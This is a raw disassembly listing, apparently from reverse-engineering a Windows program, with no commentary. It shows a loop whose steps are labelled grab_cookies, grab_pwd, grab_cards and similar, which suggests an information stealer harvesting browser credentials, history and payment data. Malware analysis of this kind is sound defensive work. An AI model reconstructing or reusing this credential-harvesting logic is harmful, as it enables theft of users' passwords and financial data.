lea rcx, [rbp + 0xe0]
call fcn.14001f140
mov r13, rax
lea rax, [rbp + 0x68]
mov qword [rbp + 0xd0], rax
lea rdx, [rbp + 0x200]
lea rcx, [rbp + 0x68]
call fcn.14001f140
mov r12, rax
lea rax, [rbp + 0x88]
mov qword [rbp + 0xd8], rax
lea rdx, [rbp + 0x2f8]
lea rcx, [rbp + 0x88]
call fcn.14001f140
mov r15, rax
lea rax, [rbp + 0xa8]
mov qword [rbp - 0x10], rax
lea rdx, [rbp + 0x1e0]
lea rcx, [rbp + 0xa8]
call fcn.14001f140
mov r14, rax
lea rax, [rbp + 0x1c0]
mov qword [rbp - 0x68], rax
xor eax, eax
mov qword [rbp + 0x1c0], rax
mov qword [rbp + 0x1d0], rax
mov qword [rbp + 0x1d8], 0xf
xor r8d, r8d
lea rdx, [0x1400cfb1b]
lea rcx, [rbp + 0x1c0]
call fcn.1400218a0
nop
mov rdx, qword [rbp - 8]
lea rcx, [rbp + 0x48]
call fcn.14001f140
nop
mov rcx, qword [rbp + 0x10]
mov qword [rsp + 0x48], rcx
mov rcx, qword [rbp + 8]
mov qword [rsp + 0x40], rcx
mov rcx, qword [rbp - 0x60]
mov qword [rsp + 0x38], rcx
mov rcx, qword [rbp + 0x38]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], r12
mov r9, r15
mov r8, r14
lea rdx, [rbp + 0x1c0]
mov rcx, rax
call fcn.140016230
nop
mov rdx, qword [rbp + 0x2d0]
cmp rdx, 0x10
jb 0x14001968d
inc rdx
mov rcx, qword [rbp + 0x2b8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140019687
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001a5d6
call fcn.140080f50
nop
mov rdx, qword [rbp + 0x2f0]
cmp rdx, 0x10
jb 0x1400196cf
inc rdx
mov rcx, qword [rbp + 0x2d8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400196c9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001a5dc
call fcn.140080f50
nop
mov rdx, qword [rbp + 0x278]
cmp rdx, 0x10
jb 0x140019710
inc rdx
mov rcx, qword [rbp + 0x260]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001970b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001a5e2
call fcn.140080f50
xor r15d, r15d
mov qword [rbp + 0x270], r15
mov qword [rbp + 0x278], 0xf
mov byte [rbp + 0x260], r15b
lea rcx, [rbp + 0x330]
call fcn.140020a30
nop
mov rdx, qword [rbp + 0x298]
cmp rdx, 0x10
jb 0x14001977a
inc rdx
mov rcx, qword [rbp + 0x280]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140019775
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001a5e8
call fcn.140080f50
mov qword [rbp + 0x290], r15
mov qword [rbp + 0x298], 0xf
mov byte [rbp + 0x280], 0
mov rdx, qword [rbp + 0x218]
cmp rdx, 0x10
jb 0x1400197d4
inc rdx
mov rcx, qword [rbp + 0x200]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400197cf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001a5ee
call fcn.140080f50
mov qword [rbp + 0x210], r15
mov qword [rbp + 0x218], 0xf
mov byte [rbp + 0x200], 0
mov rdx, qword [rbp + 0x310]
cmp rdx, 0x10
jb 0x14001982f
inc rdx
mov rcx, qword [rbp + 0x2f8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140019829
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001a5f4
call fcn.140080f50
nop
mov rdx, qword [rbp + 0x1f8]
cmp rdx, 0x10
jb 0x140019871
inc rdx
mov rcx, qword [rbp + 0x1e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001986b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001a5fa
call fcn.140080f50
nop
mov rdx, qword [rbp + 0x238]
cmp rdx, 0x10
jb 0x14001a382
inc rdx
mov rcx, qword [rbp + 0x220]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400198b1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001a600
call fcn.140080f50
jmp 0x14001a382
mov rcx, qword [rbp + 0x1a0]
jmp 0x14001a38a
xor r15d, r15d
mov qword [rbp + 0x10], r15
lea r13, [rbp + 0x350]
mov qword [rbp - 0x60], r13
mov rax, qword [rbp + 0x1a0]
mov qword [rbp - 0x70], rax
nop dword [rax]
nop dword [rax + rax]
mov rcx, qword [r12 + 0x10]
movabs rax, 0x7fffffffffffffff
sub rax, rcx
cmp rax, 1
jb 0x14001a666
mov r9, r12
cmp qword [r12 + 0x18], 0x10
jb 0x14001991b
mov r9, qword [r12]
mov qword [rsp + 0x30], 1
lea rax, [0x1400d06dc]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
mov r8, r12
movzx edx, bl
lea rcx, [rbp + 0x1e0]
call fcn.14002d660
nop
mov rdx, r13
cmp qword [r13 + 0x18], 0x10
jb 0x140019956
mov rdx, qword [r13]
mov r8, qword [r13 + 0x10]
lea rcx, [rbp + 0x1e0]
call fcn.140021a00
mov qword [rsp + 0x58], r15
mov qword [rsp + 0x68], r15
mov qword [rsp + 0x70], r15
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x58], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x68], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [rsp + 0x58]
lea rcx, [rbp + 0x200]
call fcn.14002f5c0
nop
lea rcx, [rbp + 0x200]
call fcn.1400044e0
movzx r15d, al
mov rdx, qword [rbp + 0x218]
cmp rdx, 8
jb 0x1400199fd
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x200]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400199f8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001a60c
call fcn.140080f50
xor eax, eax
mov qword [rbp + 0x210], rax
mov qword [rbp + 0x218], 7
mov word [rbp + 0x200], ax
mov rdx, qword [rsp + 0x70]
cmp rdx, 0x10
jb 0x140019a57
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140019a50
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001a612
call fcn.140080f50
xor eax, eax
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], 0xf
mov byte [rsp + 0x58], 0
mov rdx, qword [rbp + 0x1f8]
cmp rdx, 0x10
jb 0x140019aab
inc rdx
mov rcx, qword [rbp + 0x1e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140019aa6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001a618
call fcn.140080f50
test r15b, r15b
je 0x14001a362
mov rcx, qword [0x1400ede30]
mov rdx, qword [r14 + 0x10]
movabs rax, 0x7fffffffffffffff
sub rax, rcx
cmp rax, rdx
jb 0x14001a65a
lea r9, [0x1400ede20]
cmp qword [0x1400ede38], 0x10
cmovae r9, qword [0x1400ede20]
mov rax, r14
cmp qword [r14 + 0x18], 0x10
jb 0x140019af9
mov rax, qword [r14]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r8, [0x1400ede20]
movzx edx, sil
lea rcx, [rbp + 0x1c0]
call fcn.14002d660
nop
lea rcx, [rbp + 0x1c0]
cmp qword [rbp + 0x1d8], 0x10
cmovae rcx, qword [rbp + 0x1c0]
call fcn.14009939c
lea rdx, str.grab_cookies
lea rcx, [0x1400ec5f0]
call fcn.140026050
mov rcx, rax
call fcn.1400262c0
lea rax, [rbp + 0x48]
mov qword [rbp - 0x78], rax
mov rdx, r13
lea rcx, [rbp + 0x48]
call fcn.14001f140
mov r15, rax
lea rax, [rbp + 0xa8]
mov qword [rbp - 0x68], rax
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xa8]
call fcn.14001f140
mov r14, rax
mov rdx, r12
lea rcx, [rbp + 0x88]
call fcn.14001f140
nop
mov r9, r15
mov r8, r14
mov rdx, rax
lea rcx, [rbp + 0x2b8]
call fcn.140006730
nop
lea rdx, str.grab_his
lea rcx, [0x1400ec5f0]
call fcn.140026050
mov rcx, rax
call fcn.1400262c0
lea rax, [rbp + 0x68]
mov qword [rbp - 0x78], rax
mov rdx, r13
lea rcx, [rbp + 0x68]
call fcn.14001f140
mov r14, rax
mov rdx, r12
lea rcx, [rbp + 0xe0]
call fcn.14001f140
nop
mov r8, r14
mov rdx, rax
lea rcx, [rbp + 0x2d8]
call fcn.140008910
nop
lea rdx, str.grab_dhis
lea rcx, [0x1400ec5f0]
call fcn.140026050
mov rcx, rax
call fcn.1400262c0
lea rax, [rbp + 0x48]
mov qword [rbp - 0x78], rax
mov rdx, r13
lea rcx, [rbp + 0x48]
call fcn.14001f140
mov r14, rax
mov rdx, r12
lea rcx, [rbp + 0xa8]
call fcn.14001f140
nop
mov r8, r14
mov rdx, rax
lea rcx, [rbp + 0x260]
call fcn.14000a150
nop
lea rdx, str.grab_book
lea rcx, [0x1400ec5f0]
call fcn.140026050
mov rcx, rax
call fcn.1400262c0
lea rax, [rbp + 0x88]
mov qword [rbp - 0x78], rax
mov rdx, r13
lea rcx, [rbp + 0x88]
call fcn.14001f140
mov r14, rax
mov rdx, r12
lea rcx, [rbp + 0x68]
call fcn.14001f140
nop
mov r8, r14
mov rdx, rax
lea rcx, [rbp + 0x280]
call fcn.14000f150
nop
lea rdx, str.grab_ext
lea rcx, [0x1400ec5f0]
call fcn.140026050
mov rcx, rax
call fcn.1400262c0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x318], xmm0
mov qword [rbp + 0x328], rax
mov rdx, r13
lea rcx, [rbp + 0x48]
call fcn.14001f140
mov r8, rax
mov rdx, r12
lea rcx, [rbp + 0x318]
call fcn.140010eb0
nop
lea rdx, str.grab_misc
lea rcx, [0x1400ec5f0]
call fcn.140026050
mov rcx, rax
call fcn.1400262c0
lea rax, [rbp + 0xa8]
mov qword [rbp - 0x78], rax
mov rdx, r13
lea rcx, [rbp + 0xa8]
call fcn.14001f140
mov r15, rax
lea rax, [rbp + 0x88]
mov qword [rbp - 0x68], rax
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x88]
call fcn.14001f140
mov r14, rax
mov rdx, r12
lea rcx, [rbp + 0x68]
call fcn.14001f140
nop
mov r9, r15
mov r8, r14
mov rdx, rax
lea rcx, [rbp + 0x200]
call fcn.14000c9c0
nop
lea rdx, str.grab_pwd
lea rcx, [0x1400ec5f0]
call fcn.140026050
mov rcx, rax
call fcn.1400262c0
lea rax, [rbp + 0x48]
mov qword [rbp - 0x78], rax
mov rdx, r13
lea rcx, [rbp + 0x48]
call fcn.14001f140
mov r15, rax
lea rax, [rbp + 0xe0]
mov qword [rbp - 0x68], rax
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xe0]
call fcn.14001f140
mov r14, rax
mov rdx, r12
lea rcx, [rbp + 0x140]
call fcn.14001f140
nop
mov r9, r15
mov r8, r14
mov rdx, rax
lea rcx, [rbp + 0x2f8]
call fcn.1400128e0
nop
lea rdx, str.grab_write
lea rcx, [0x1400ec5f0]
call fcn.140026050
mov rcx, rax
call fcn.1400262c0
lea rax, [rbp + 0x220]
mov qword [rbp - 0x78], rax
xor r14d, r14d
mov qword [rbp + 0x220], r14
mov qword [rbp + 0x230], r14
mov qword [rbp + 0x238], 0xf
xor r8d, r8d
lea rdx, [0x1400cfb1b]
lea rcx, [rbp + 0x220]
call fcn.1400218a0
nop
lea rax, [rsp + 0x58]
mov qword [rbp - 0x68], rax
mov qword [rsp + 0x58], r14
mov qword [rsp + 0x68], r14
mov qword [rsp + 0x70], r14
lea r13, [rbp + 0x1a0]
mov rax, qword [rbp + 0x1a0]
mov qword [rbp - 0x70], rax
cmp qword [rbp + 0x1b8], 0x10
cmovae r13, rax
mov r15, qword [rbp + 0x1b0]
cmp r15, 0x10
jae 0x140019eaa
movups xmm0, xmmword [r13]
movups xmmword [rsp + 0x58], xmm0
mov qword [rsp + 0x70], 0xf
jmp 0x140019f25
mov r14, r15
or r14, 0xf
movabs rax, 0x7fffffffffffffff
cmp r14, rax
cmova r14, rax
lea rcx, [r14 + 1]
cmp rcx, 0x1000
jb 0x140019efe
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14001a624
mov rcx, rax
call fcn.140080f58
mov rcx, rax
test rax, rax
je 0x14001a61e
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140019f0c
test rcx, rcx
je 0x140019f0a
call fcn.140080f58
jmp 0x140019f0c
xor eax, eax
mov qword [rsp + 0x58], rax
lea r8, [r15 + 1]
mov rdx, r13
mov rcx, rax
call fcn.140087bb0
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x68], r15
mov rdx, r12
lea rcx, [rbp + 0xa8]
call fcn.14001f140
nop
lea r9, [rbp + 0x220]
lea r8, [rsp + 0x58]
mov rdx, rax
lea rcx, [rbp + 0x1e0]
call fcn.140014480
nop
lea rdx, str.grab_cards
lea rcx, [0x1400ec5f0]
call fcn.140026050
mov rcx, rax
call fcn.1400262c0
lea rax, [rbp + 0x48]
mov qword [rbp - 0x78], rax
lea rdx, [rbp + 0x1e0]
lea rcx, [rbp + 0x48]
call fcn.14001f140
mov qword [rbp + 0x38], rax
lea rax, [rbp + 0x88]
mov qword [rbp - 0x68], rax
lea rdx, [rbp + 0x2f8]
lea rcx, [rbp + 0x88]
call fcn.14001f140
mov qword [rbp + 0x40], rax
lea rax, [rbp + 0x68]
mov qword [rbp - 0x10], rax
lea rdx, [rbp + 0x200]
lea rcx, [rbp + 0x68]
call fcn.14001f140
mov qword [rbp - 0x58], rax
lea rax, [rbp - 0x30]
mov qword [rbp + 0xd8], rax
lea rdx, [rbp + 0x318]
lea rcx, [rbp - 0x30]
call fcn.14001c500
mov qword [rbp - 0x80], rax
lea rax, [rbp + 0xe0]
mov qword [rbp + 0xd0], rax
lea rdx, [rbp + 0x280]
lea rcx, [rbp + 0xe0]
call fcn.14001f140
mov qword [rsp + 0x78], rax
lea rax, [rbp + 0x140]
mov qword [rbp + 0xc8], rax
lea rdx, [rbp + 0x260]
lea rcx, [rbp + 0x140]
call fcn.14001f140
mov r13, rax
lea rax, [rbp + 0x120]
mov qword [rbp + 0x160], rax
lea rdx, [rbp + 0x2d8]
lea rcx, [rbp + 0x120]
call fcn.14001f140
mov r12, rax
lea rax, [rbp + 0x100]
mov qword [rbp + 0x178], rax
lea rdx, [rbp + 0x2b8]
lea rcx, [rbp + 0x100]
call fcn.14001f140
mov r15, rax
lea rax, [rbp - 0x50]
mov qword [rbp + 0x168], rax
mov rdx, qword [rbp - 0x60]
lea rcx, [rbp - 0x50]
call fcn.14001f140
mov r14, rax
mov rdx, qword [rbp - 8]
lea rcx, [rbp + 0x180]
call fcn.14001f140
nop
mov rcx, qword [rbp + 0x38]
mov qword [rsp + 0x48], rcx
mov rcx, qword [rbp + 0x40]
mov qword [rsp + 0x40], rcx
mov rcx, qword [rbp - 0x58]
mov qword [rsp + 0x38], rcx
mov rcx, qword [rbp - 0x80]
mov qword [rsp + 0x30], rcx
mov rcx, qword [rsp + 0x78]
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], r13
mov r9, r12
mov r8, r15
mov rdx, r14
mov rcx, rax
call fcn.140016230
nop
mov rdx, qword [rbp + 0x1f8]
cmp rdx, 0x10
jb 0x14001a12f
inc rdx
mov rcx, qword [rbp + 0x1e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001a129
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001a62a
call fcn.140080f50
nop
mov rdx, qword [rbp + 0x310]
cmp rdx, 0x10
jb 0x14001a171
inc rdx
mov rcx, qword [rbp + 0x2f8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001a16b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001a630
call fcn.140080f50
nop
mov rdx, qword [rbp + 0x218]
cmp rdx, 0x10
jb 0x14001a1b2
inc rdx
mov rcx, qword [rbp + 0x200]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001a1ad
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001a636
call fcn.140080f50
xor r15d, r15d
mov qword [rbp + 0x210], r15
mov qword [rbp + 0x218], 0xf
mov byte [rbp + 0x200], r15b
lea rcx, [rbp + 0x318]
call fcn.140020a30
nop
mov rdx, qword [rbp + 0x298]
cmp rdx, 0x10
jb 0x14001a21c
inc rdx
mov rcx, qword [rbp + 0x280]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001a217
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001a63c
call fcn.140080f50
mov qword [rbp + 0x290], r15
mov qword [rbp + 0x298], 0xf
mov byte [rbp + 0x280], 0
mov rdx, qword [rbp + 0x278]
cmp rdx, 0x10
jb 0x14001a276
inc rdx
mov rcx, qword [rbp + 0x260]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001a271
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001a642
call fcn.140080f50
mov qword [rbp + 0x270], r15
mov qword [rbp + 0x278], 0xf
mov byte [rbp + 0x260], 0
mov rdx, qword [rbp + 0x2f0]
cmp rdx, 0x10
jb 0x14001a2d1
inc rdx
mov rcx, qword [rbp + 0x2d8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001a2cb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001a648
call fcn.140080f50
nop
mov rdx, qword [rbp + 0x2d0]
cmp rdx, 0x10
jb 0x14001a313
inc rdx
mov rcx, qword [rbp + 0x2b8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001a30d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001a64e
call fcn.140080f50
nop
mov rdx, qword [rbp + 0x1d8]
cmp rdx, 0x10
jb 0x14001a354
inc rdx
mov rcx, qword [rbp + 0x1c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001a34f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001a654
call fcn.140080f50
mov r12, qword [rbp + 8]
mov r13, qword [rbp - 0x60]
mov r14, qword [rbp - 8]
jmp 0x14001a365
xor r15d, r15d
mov rdx, qword [rbp + 0x10]
inc rdx
mov qword [rbp + 0x10], rdx
add r13, 0x20
mov qword [rbp - 0x60], r13
cmp rdx, 6
jb 0x1400198f0
mov rcx, qword [rbp - 0x70]
mov r13, qword [rbp]
mov rax, qword [rbp + 0x1b8]
cmp rax, 0x10
jb 0x14001a3c5
lea rdx, [rax + 1]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001a3c0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001a660
call fcn.140080f50
inc r13
mov qword [rbp], r13
cmp r13, 0x12
jb 0x140018c00
mov rdi, qword [rbp + 0x2a0]
test rdi, rdi
je 0x14001a45d
mov rbx, rdi
mov rsi, qword [rbp + 0x2a8]
cmp rdi, rsi
je 0x14001a402
mov rcx, rbx
call fcn.140016130
add rbx, 0x60
cmp rbx, rsi
jne 0x14001a3f1
mov rcx, qword [rbp + 0x2b0]
sub rcx, rdi
movabs rax, 0x2aaaaaaaaaaaaaab
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rdx, [rdx + rdx*2]
shl rdx, 5
mov rax, rdi
cmp rdx, 0x1000
jb 0x14001a454
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001a594
mov rcx, rdi
call fcn.140080f50
nop
mov rdx, qword [rbp + 0x258]
cmp rdx, 0x10
jb 0x14001a49b
inc rdx
mov rcx, qword [rbp + 0x240]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001a495
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001a504
call fcn.140080f50
nop
lea r9, [fcn.14001efc0]
mov edx, 0x20
lea r8d, [rdx - 0x1a]
lea rcx, [rbp + 0x350]
call fcn.140080f94
nop
lea r9, [fcn.14001efc0]
mov edx, 0x20
lea r8d, [rdx - 0xe]
lea rcx, [rbp + 0x410]
call fcn.140080f94
mov rcx, qword [rbp + 0x650]
xor rcx, rsp
call fcn.140080f30
lea r11, [rsp + 0x760]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.1400996b0
nop
call fcn.1400996b0
nop
call fcn.140002cb0
nop
call fcn.140002cb0
nop
call fcn.140002cb0
nop
call fcn.140002cb0
nop
call fcn.140002cb0
nop
call fcn.140002cb0
nop
call fcn.140002cb0
nop
call fcn.140002cb0
nop
call fcn.140002cb0
nop
call fcn.140002cb0
nop
call fcn.140002cb0
nop
call fcn.140002cb0
nop
call fcn.140002cb0
nop
call fcn.140002cb0
nop
call fcn.140002cb0
nop
call fcn.140002cb0
nop
call fcn.140002cb0
nop
call fcn.140002cb0
nop
call fcn.1400996b0
nop
call fcn.1400996b0
int3
call fcn.140002cb0
int3
call fcn.1400996b0
int3
call fcn.1400996b0
nop
call fcn.1400996b0
nop
call fcn.1400996b0
nop
call fcn.1400996b0
int3
call fcn.140002be0
nop
call fcn.1400996b0
int3
call fcn.140002be0
nop
call fcn.1400996b0
int3
call fcn.140002be0
nop
call fcn.1400996b0
int3
call fcn.140002be0
nop
call fcn.1400996b0
nop
call fcn.1400996b0
nop
call fcn.1400996b0
nop
call fcn.1400996b0
nop
call fcn.1400996b0
nop
call fcn.1400996b0
nop
call fcn.1400996b0
nop
call fcn.1400996b0
int3
call fcn.140002cb0
nop
call fcn.1400996b0
nop
call fcn.1400996b0
nop
call fcn.1400996b0
nop
call fcn.1400996b0
int3
call fcn.140002be0
nop
call fcn.1400996b0
nop
call fcn.1400996b0
nop
call fcn.1400996b0
nop
call fcn.1400996b0
nop
call fcn.1400996b0
nop
call fcn.1400996b0
nop
call fcn.1400996b0
nop
call fcn.1400996b0
int3
call fcn.140002cb0
nop
call fcn.1400996b0
nop
call fcn.140002cb0
int3